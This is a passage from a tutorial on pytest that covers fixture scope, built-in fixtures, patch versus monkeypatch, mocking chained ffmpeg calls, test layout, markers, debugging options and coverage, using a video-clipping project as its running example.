&lt;p&gt;The deeper fixture configuration can then be used specifically by that subtree. A useful convention is: root &lt;code&gt;conftest.py&lt;/code&gt; for shared fixtures, nested &lt;code&gt;conftest.py&lt;/code&gt; files for fixtures that are genuinely local to a particular test area.&lt;/p&gt;
&lt;h3 id=&quot;fixture-scope&quot;&gt;Fixture Scope&lt;/h3&gt;
&lt;p&gt;Fixtures don't necessarily have to run for every test. You can control their lifetime:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.fixture(scope=&quot;function&quot;)  # default
@pytest.fixture(scope=&quot;module&quot;)    # once per test file
@pytest.fixture(scope=&quot;session&quot;)   # once per entire test run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The default is &lt;code&gt;scope=&quot;function&quot;&lt;/code&gt;, which means a fresh fixture is created for every test. Prefer the default unless there is a good reason to reuse the fixture.&lt;/p&gt;
&lt;p&gt;A broader scope can make sense when setup is genuinely expensive and safe to share. For example, generating a synthetic sample video once per session may be much cheaper than generating it once for every test.&lt;/p&gt;
&lt;h3 id=&quot;built-in-fixtures-worth-knowing&quot;&gt;Built-in Fixtures Worth Knowing&lt;/h3&gt;
&lt;p&gt;pytest provides several useful fixtures out of the box.&lt;/p&gt;
&lt;h4 id=&quot;tmp-path&quot;&gt;&lt;code&gt;tmp_path&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Provides a unique temporary directory for each test. Great for anything that needs to write files.&lt;/p&gt;
&lt;h4 id=&quot;caplog&quot;&gt;&lt;code&gt;caplog&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Captures logging output. Useful when you want to verify that something logged an error or warning.&lt;/p&gt;
&lt;h4 id=&quot;capsys&quot;&gt;&lt;code&gt;capsys&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Captures stdout and stderr. Useful for testing CLI output.&lt;/p&gt;
&lt;h4 id=&quot;monkeypatch&quot;&gt;&lt;code&gt;monkeypatch&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Temporarily changes attributes, environment variables, dictionary entries, and other values. pytest automatically restores the changes after the test.&lt;/p&gt;
&lt;p&gt;You can inspect available fixtures with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --fixtures
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;tmp-path-in-practice&quot;&gt;&lt;code&gt;tmp_path&lt;/code&gt; in Practice&lt;/h3&gt;
&lt;p&gt;Suppose you want to verify that audio extraction creates an actual file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_extract_audio_writes_real_file(
    sample_video_path,
    tmp_path,
):
    output_path = tmp_path / &quot;output.wav&quot;

    result = extract_audio(
        str(sample_video_path),
        str(output_path),
    )

    assert result == str(output_path)
    assert output_path.exists()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an integration-style test. It actually runs FFmpeg and checks that a real file was created. But because &lt;code&gt;tmp_path&lt;/code&gt; is temporary, the test doesn't leave generated files scattered around your project — pytest creates the directory and handles its cleanup.&lt;/p&gt;
&lt;h3 id=&quot;mocking-two-tools-different-jobs&quot;&gt;Mocking: Two Tools, Different Jobs&lt;/h3&gt;
&lt;p&gt;Python gives you &lt;code&gt;unittest.mock&lt;/code&gt;. pytest gives you &lt;code&gt;monkeypatch&lt;/code&gt;. They overlap, but each one shines in a different situation.&lt;/p&gt;
&lt;h4 id=&quot;unittest-mock-patch&quot;&gt;&lt;code&gt;unittest.mock.patch&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Use &lt;code&gt;patch&lt;/code&gt; when you want a more capable mock, particularly when you need to inspect how something was called.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from unittest.mock import patch


def test_metadata_no_audio():
    fake_probe = {
        &quot;format&quot;: {
            &quot;filename&quot;: &quot;silent.mp4&quot;,
            &quot;duration&quot;: &quot;10.0&quot;,
        },
        &quot;streams&quot;: [
            {
                &quot;codec_type&quot;: &quot;video&quot;,
                &quot;r_frame_rate&quot;: &quot;25/1&quot;,
            },
        ],
    }

    with patch(
        &quot;clipper.core.video_inspector.ffmpeg.probe&quot;,
        return_value=fake_probe,
    ):
        result = get_video_metadata(&quot;silent.mp4&quot;)

    assert result[&quot;has_audio&quot;] is False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;patch&lt;/code&gt; temporarily replaces the target with a mock. It is particularly useful when you want to assert things like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;mock_input.assert_called_once_with(&quot;in.mp4&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;monkeypatch-1&quot;&gt;&lt;code&gt;monkeypatch&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;monkeypatch&lt;/code&gt; is pytest's own fixture. It's particularly convenient for simple temporary substitutions.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_uses_default_bitrate_env_var(monkeypatch):
    monkeypatch.setenv(
        &quot;CLIPPER_DEFAULT_BITRATE&quot;,
        &quot;256k&quot;,
    )

    assert get_default_bitrate() == &quot;256k&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There's no context manager and no manual cleanup — pytest automatically restores the environment variable after the test. You can also replace attributes with &lt;code&gt;monkeypatch.setattr(...)&lt;/code&gt; or dictionary entries with &lt;code&gt;monkeypatch.setitem(...)&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;patch-vs-monkeypatch-a-practical-mental-model&quot;&gt;&lt;code&gt;patch&lt;/code&gt; vs &lt;code&gt;monkeypatch&lt;/code&gt;: A Practical Mental Model&lt;/h3&gt;
&lt;p&gt;Imagine your code is a toy robot and you want to test what happens when one of its components behaves differently. You don't want to actually break the component — you just want to temporarily pretend that it behaves differently.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;monkeypatch&lt;/code&gt; is like putting a temporary sticky note over the component: &quot;For this test, pretend this value is different.&quot; pytest removes the note when the test finishes.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;patch&lt;/code&gt; is another version of the same idea, but with a much more powerful mock object behind it. &lt;code&gt;patch&lt;/code&gt; can easily track call count, arguments, return values, exceptions, and chained calls.&lt;/p&gt;
&lt;p&gt;Both clean themselves up reliably when used correctly. With &lt;code&gt;patch&lt;/code&gt;, the common form in this project is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with patch(...):
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mock is restored automatically when the block ends, even if the test fails.&lt;/p&gt;
&lt;h4 id=&quot;which-one-should-you-use-&quot;&gt;Which One Should You Use?&lt;/h4&gt;
&lt;p&gt;A practical rule:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Need                                                 &lt;/th&gt;&lt;th&gt;Use&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Assert how something was called                      &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Check call count or exact arguments                   &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mock a chained/fluent API                             &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Replace an environment variable                       &lt;/td&gt;&lt;td&gt;&lt;code&gt;monkeypatch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Temporarily change one attribute                      &lt;/td&gt;&lt;td&gt;&lt;code&gt;monkeypatch.setattr(...)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Temporarily change a dictionary entry                 &lt;/td&gt;&lt;td&gt;&lt;code&gt;monkeypatch.setitem(...)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Replace an external dependency and inspect the mock    &lt;/td&gt;&lt;td&gt;&lt;code&gt;patch&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The important thing isn't to memorize a strict rule. It's to recognize the distinction:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If you need to inspect how the dependency was used, &lt;code&gt;patch&lt;/code&gt; is usually the natural choice. If you just need to temporarily replace a value or attribute, &lt;code&gt;monkeypatch&lt;/code&gt; is often simpler.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;side-effect-make-a-mock-fail&quot;&gt;&lt;code&gt;side_effect&lt;/code&gt;: Make a Mock Fail&lt;/h3&gt;
&lt;p&gt;Mocks aren't only useful for returning fake successful results. They can also simulate failures.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;return_value&lt;/code&gt; means &quot;always return this.&quot; &lt;code&gt;side_effect&lt;/code&gt; means &quot;raise this exception instead.&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with patch(
    &quot;clipper.core.video_inspector.ffmpeg.probe&quot;,
    side_effect=ffmpeg.Error(
        cmd=&quot;ffprobe&quot;,
        stdout=b&quot;&quot;,
        stderr=b&quot;bad file&quot;,
    ),
):
    result = get_video_metadata(&quot;bad.mp4&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This lets you exercise failure paths without needing to create a genuinely broken video file.&lt;/p&gt;
&lt;h3 id=&quot;mock-the-boundary-not-your-own-logic&quot;&gt;Mock the Boundary, Not Your Own Logic&lt;/h3&gt;
&lt;p&gt;This is probably the most important mocking rule in the entire guide:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Mock the boundary, not the logic you're trying to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Suppose your code does this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;probe = ffmpeg.probe(path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting logic is what your application does with the result. So mock &lt;code&gt;ffmpeg.probe&lt;/code&gt; and provide realistic fake data — don't mock the parsing logic itself. A test that mocks everything, including the thing you're trying to test, can end up proving nothing more than: &quot;my mocks returned what I told them to return.&quot;&lt;/p&gt;
&lt;p&gt;Put another way — you're testing your recipe, not reinventing the oven. External boundaries are good mocking candidates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FFmpeg&lt;/li&gt;
&lt;li&gt;HTTP APIs&lt;/li&gt;
&lt;li&gt;databases&lt;/li&gt;
&lt;li&gt;filesystem operations&lt;/li&gt;
&lt;li&gt;cloud services&lt;/li&gt;
&lt;li&gt;external processes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Your own business logic is usually what you want to execute for real.&lt;/p&gt;
&lt;h3 id=&quot;the-most-common-mocking-mistake-patching-the-wrong-path&quot;&gt;The Most Common Mocking Mistake: Patching the Wrong Path&lt;/h3&gt;
&lt;p&gt;This catches a lot of people. Suppose your module contains:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# video_inspector.py

import ffmpeg


def get_video_metadata(path):
    return ffmpeg.probe(path)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might think you should patch &lt;code&gt;ffmpeg.probe&lt;/code&gt;. But that's not necessarily the correct target — the code under test looks up &lt;code&gt;ffmpeg&lt;/code&gt; in its own module namespace. Therefore, patch where the name is looked up:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;patch(
    &quot;clipper.core.video_inspector.ffmpeg.probe&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The general rule is:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Patch where the object is looked up, not where it was originally defined.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you patch the wrong path, the real dependency may still run. That can make a test unexpectedly hit FFmpeg, the network, a database, or some other external system.&lt;/p&gt;
&lt;h3 id=&quot;mocking-a-chained-call&quot;&gt;Mocking a Chained Call&lt;/h3&gt;
&lt;p&gt;Some APIs aren't a single function call. For example, &lt;code&gt;ffmpeg-python&lt;/code&gt; can use a fluent chain:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;ffmpeg.input(...).output(...).overwrite_output().run(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mocking that requires walking the chain. &lt;code&gt;MagicMock&lt;/code&gt; automatically creates mocks for attributes you access, so &lt;code&gt;mock_input.return_value&lt;/code&gt; represents the result of &lt;code&gt;ffmpeg.input(...)&lt;/code&gt;, &lt;code&gt;.output.return_value&lt;/code&gt; represents the next link in the chain, and so on until you reach &lt;code&gt;.run&lt;/code&gt; — the actual operation you want to make fail.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_extract_audio_sad_path(caplog):
    fake_error = ffmpeg.Error(
        cmd=&quot;ffmpeg&quot;,
        stdout=b&quot;&quot;,
        stderr=b&quot;encoding failed&quot;,
    )

    with patch(
        &quot;clipper.core.video_inspector.ffmpeg.input&quot;
    ) as mock_input:
        mock_run = (
            mock_input
            .return_value
            .output
            .return_value
            .overwrite_output
            .return_value
            .run
        )
        mock_run.side_effect = fake_error

        result = extract_audio(
            &quot;in.mp4&quot;,
            &quot;out.wav&quot;,
        )

    assert result is None
    assert &quot;error&quot; in caplog.text.lower()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walking the chain into its own variable (&lt;code&gt;mock_run&lt;/code&gt;) before setting &lt;code&gt;side_effect&lt;/code&gt; keeps the assignment itself simple and unambiguous — trying to set an attribute in the middle of a long parenthesized chain is a common source of syntax mistakes.&lt;/p&gt;
&lt;h3 id=&quot;organizing-your-test-files&quot;&gt;Organizing Your Test Files&lt;/h3&gt;
&lt;p&gt;A simple and predictable test layout goes a long way. If your source looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;src/
└── clipper/
    └── core/
        └── video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mirror it under &lt;code&gt;tests/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
└── core/
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes it immediately obvious where the tests for a source module live.&lt;/p&gt;
&lt;h4 id=&quot;keep-tests-outside-src-&quot;&gt;Keep &lt;code&gt;tests/&lt;/code&gt; Outside &lt;code&gt;src/&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Use:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;project/
├── src/
├── tests/
└── pyproject.toml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;rather than:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;src/
├── clipper/
└── tests/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keeping tests outside the package helps avoid accidentally shipping them with your built distribution and keeps the distinction between application code and test code clear.&lt;/p&gt;
&lt;h4 id=&quot;you-usually-don-t-need-init-py&quot;&gt;You Usually Don't Need &lt;code&gt;__init__.py&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;pytest doesn't require your test directories to be Python packages. So this is perfectly fine:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No &lt;code&gt;__init__.py&lt;/code&gt; required. There can be edge cases where you intentionally want package semantics, but don't add &lt;code&gt;__init__.py&lt;/code&gt; to test directories just because you think pytest requires it. It doesn't.&lt;/p&gt;
&lt;h4 id=&quot;keep-fixtures-separate-from-test-code&quot;&gt;Keep Fixtures Separate from Test Code&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
├── conftest.py
├── fixtures/
│   └── sample.mp4
└── core/
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes the distinction obvious: &lt;code&gt;test_*.py&lt;/code&gt; contains test logic, &lt;code&gt;fixtures/&lt;/code&gt; contains test data.&lt;/p&gt;
&lt;h3 id=&quot;mark-slow-and-external-tests&quot;&gt;Mark Slow and External Tests&lt;/h3&gt;
&lt;p&gt;Not every test costs the same amount to run. A test that calls real FFmpeg is different from a test that checks a pure Python function.&lt;/p&gt;
&lt;p&gt;You can mark integration tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.mark.integration
def test_extract_audio_against_real_file(...):
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then register the marker in &lt;code&gt;pyproject.toml&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[tool.pytest.ini_options]
markers = [
    &quot;integration: calls real ffmpeg/ffprobe against a fixture file&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can run the fast suite without integration tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest -m &quot;not integration&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And run everything with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives you a useful distinction between fast unit tests and slower integration tests.&lt;/p&gt;
&lt;h3 id=&quot;debugging-pytest-without-sprinkling-print-everywhere&quot;&gt;Debugging pytest Without Sprinkling &lt;code&gt;print()&lt;/code&gt; Everywhere&lt;/h3&gt;
&lt;p&gt;pytest captures output by default. That can be surprising when you're debugging — a &lt;code&gt;print(result)&lt;/code&gt; that produces nothing on screen. Here are the options you'll reach for most often.&lt;/p&gt;
&lt;h4 id=&quot;-s-show-stdout-stderr&quot;&gt;&lt;code&gt;-s&lt;/code&gt;: Show stdout/stderr&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This disables output capturing, so your &lt;code&gt;print()&lt;/code&gt; statements become visible. It's useful, although there are usually better debugging tools than adding prints everywhere.&lt;/p&gt;
&lt;h4 id=&quot;-k-run-tests-by-name&quot;&gt;&lt;code&gt;-k&lt;/code&gt;: Run Tests by Name&lt;/h4&gt;
&lt;p&gt;If you're working on audio extraction, there's no reason to run 200 unrelated tests.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -k &quot;extract_audio&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pytest runs tests whose names match the expression. This is one of the most useful options during active development.&lt;/p&gt;
&lt;h4 id=&quot;-x-stop-at-the-first-failure&quot;&gt;&lt;code&gt;-x&lt;/code&gt;: Stop at the First Failure&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead of getting a wall of failures, pytest stops after the first one. This is particularly useful when fixing a cascading failure.&lt;/p&gt;
&lt;h4 id=&quot;--pdb-drop-into-the-debugger&quot;&gt;&lt;code&gt;--pdb&lt;/code&gt;: Drop Into the Debugger&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --pdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When a test fails, pytest drops you into an interactive debugger at the point of failure. Inside the debugger, you can inspect variables and control execution — &lt;code&gt;c&lt;/code&gt; continues, &lt;code&gt;q&lt;/code&gt; quits. This can be much faster than trying to predict where a bug is before running the test.&lt;/p&gt;
&lt;h4 id=&quot;-vv-more-verbose-output&quot;&gt;&lt;code&gt;-vv&lt;/code&gt;: More Verbose Output&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -vv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Useful when assertions involve large dictionaries, long strings, or parametrized tests and you want more detail in the output.&lt;/p&gt;
&lt;h4 id=&quot;--lf-run-only-the-last-failures&quot;&gt;&lt;code&gt;--lf&lt;/code&gt;: Run Only the Last Failures&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --lf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--lf&lt;/code&gt; means &quot;last failed.&quot; It reruns tests that failed during the previous run instead of running the entire suite. This is particularly useful when you're fixing several failures one by one.&lt;/p&gt;
&lt;h4 id=&quot;a-practical-debugging-command&quot;&gt;A Practical Debugging Command&lt;/h4&gt;
&lt;p&gt;These options can be combined:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest -k &quot;extract_audio&quot; -x --pdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means: run only tests matching &lt;code&gt;extract_audio&lt;/code&gt;, stop at the first failure, and open the debugger at the failure. That's a very practical development loop.&lt;/p&gt;
&lt;h3 id=&quot;running-a-specific-test&quot;&gt;Running a Specific Test&lt;/h3&gt;
&lt;p&gt;pytest doesn't natively use line numbers to select a test. This isn't standard pytest test selection:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest test_file.py:29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, select by node ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest tests/core/test_video_inspector.py::test_metadata_no_audio
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or use &lt;code&gt;-k&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest -k &quot;metadata_no_audio&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Editors such as VS Code and PyCharm can provide &quot;run this test&quot; buttons. They translate your selection into pytest's name-based test selection behind the scenes. There are plugins that provide literal line-number selection, but you generally don't need one.&lt;/p&gt;
&lt;h3 id=&quot;quickly-inspecting-a-return-value&quot;&gt;Quickly Inspecting a Return Value&lt;/h3&gt;
&lt;p&gt;Sometimes you just want to see what a function actually returned. One quick technique is to deliberately make an assertion fail:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_scratch(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result == {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;{}&lt;/code&gt; isn't the actual result, pytest's failure output will show you the value. Delete the temporary test afterward.&lt;/p&gt;
&lt;p&gt;Another option is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --showlocals
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or the shorthand &lt;code&gt;-l&lt;/code&gt;, which shows local variables when a test fails.&lt;/p&gt;
&lt;h3 id=&quot;dealing-with-slow-tests&quot;&gt;Dealing with Slow Tests&lt;/h3&gt;
&lt;p&gt;Don't guess which tests are slow. Measure them.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --durations=10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reports the ten slowest tests after the run. You may discover that one or two tests account for most of the delay. Optimizing everything before measuring can waste the very time you're trying to save.&lt;/p&gt;
&lt;h4 id=&quot;mark-slow-tests&quot;&gt;Mark Slow Tests&lt;/h4&gt;
&lt;p&gt;Tests that load a real model or perform real inference are good candidates for a &lt;code&gt;slow&lt;/code&gt; marker:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.mark.slow
def test_transcribe_real_audio_produces_valid_shape(
    sample_speech_path,
):
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Register the marker:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[tool.pytest.ini_options]
markers = [
    &quot;integration: calls real ffmpeg/ffprobe against a fixture file&quot;,
    &quot;slow: tests that load a real model or run real transcription&quot;,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then your normal development loop can skip them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pytest -m &quot;not slow&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And your complete suite can still run with &lt;code&gt;pytest&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;caching-can-already-solve-some-performance-problems&quot;&gt;Caching Can Already Solve Some Performance Problems&lt;/h4&gt;
&lt;p&gt;Suppose your application loads a model once at module level, and subsequent calls reuse it. Then only the first test that needs the model may pay the expensive loading cost — the others can reuse the already-loaded instance.&lt;/p&gt;
&lt;p&gt;You can verify whether this is actually happening with &lt;code&gt;uv run pytest --durations=10&lt;/code&gt;. If the first model-related test is slow and subsequent tests are much faster, your existing caching may already be doing the job. If every test is slow, something may be reloading the model when it shouldn't. Measure first.&lt;/p&gt;
&lt;h4 id=&quot;parallelizing-the-suite&quot;&gt;Parallelizing the Suite&lt;/h4&gt;
&lt;p&gt;If the entire suite is slow, rather than just a handful of expensive tests, parallel execution may help.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv add --dev pytest-xdist
uv run pytest -n auto
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-n auto&lt;/code&gt; lets xdist determine a useful number of workers. But don't reach for parallelization automatically — for many projects, simply excluding slow tests during development (&lt;code&gt;pytest -m &quot;not slow&quot;&lt;/code&gt;) is enough.&lt;/p&gt;
&lt;h3 id=&quot;coverage-is-a-flashlight-not-a-scoreboard&quot;&gt;Coverage Is a Flashlight, Not a Scoreboard&lt;/h3&gt;
&lt;p&gt;Coverage is useful. It tells you which lines of code weren't exercised by your tests.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --cov=src
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This can help you find code paths you haven't thought about. But coverage doesn't tell you whether your tests are good. You can achieve 100% coverage with tests that assert almost nothing meaningful:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_everything():
    my_function()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code executed. Coverage increases. But the test may tell you almost nothing about whether the behavior is correct. So treat coverage as a flashlight — use it to illuminate parts of the code you haven't tested. Don't treat it as a scoreboard you have to maximize.&lt;/p&gt;
&lt;h3 id=&quot;a-simple-checklist-for-every-new-test&quot;&gt;A Simple Checklist for Every New Test&lt;/h3&gt;
&lt;p&gt;When adding tests for a new function or feature, ask:&lt;/p&gt;
&lt;h5 id=&quot;1-what-s-the-happy-path-&quot;&gt;1. What's the happy path?&lt;/h5&gt;
&lt;p&gt;What should happen when everything is valid?&lt;/p&gt;
&lt;h5 id=&quot;2-what-s-at-least-one-edge-case-&quot;&gt;2. What's at least one edge case?&lt;/h5&gt;
&lt;p&gt;Consider: empty input, missing fields, boundary values, unexpected but valid combinations.&lt;/p&gt;
&lt;h5 id=&quot;3-what-s-the-failure-mode-&quot;&gt;3. What's the failure mode?&lt;/h5&gt;
&lt;p&gt;What should happen when input is invalid, an external dependency fails, a file doesn't exist, or an API returns an unexpected result?&lt;/p&gt;
&lt;h5 id=&quot;4-what-should-be-mocked-&quot;&gt;4. What should be mocked?&lt;/h5&gt;
&lt;p&gt;Usually mock things that are external, slow, non-deterministic, or side-effecting. But let your own logic run for real.&lt;/p&gt;
&lt;h5 id=&quot;5-is-the-test-asking-one-question-&quot;&gt;5. Is the test asking one question?&lt;/h5&gt;
&lt;p&gt;If the test name contains the word &quot;and,&quot; that's sometimes a sign that you're testing two behaviors at once. A test should ideally answer one clear question.&lt;/p&gt;
&lt;h3 id=&quot;the-mental-model-i-ended-up-with&quot;&gt;The Mental Model I Ended Up With&lt;/h3&gt;
&lt;p&gt;pytest can look like a large collection of features when you're first learning it. But after working with it for a while, I found that most of what I actually needed came down to a few ideas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tests are ordinary Python functions.&lt;/strong&gt; pytest discovers them through naming conventions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assertions are ordinary Python &lt;code&gt;assert&lt;/code&gt; statements.&lt;/strong&gt; pytest makes their failures informative.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fixtures provide reusable things that tests need.&lt;/strong&gt; &lt;code&gt;conftest.py&lt;/code&gt; makes shared fixtures available without imports.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parametrization lets you run the same test logic against multiple inputs.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mocks let you replace boundaries you don't want to exercise for real.&lt;/strong&gt; Things like FFmpeg, APIs, databases, and other external systems are often good candidates — while the logic you're actually testing should usually run normally.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Markers let you separate tests by purpose or cost.&lt;/strong&gt; And the debugging tools make it much easier to figure out why something failed without resorting to &lt;code&gt;print()&lt;/code&gt; everywhere.&lt;/p&gt;
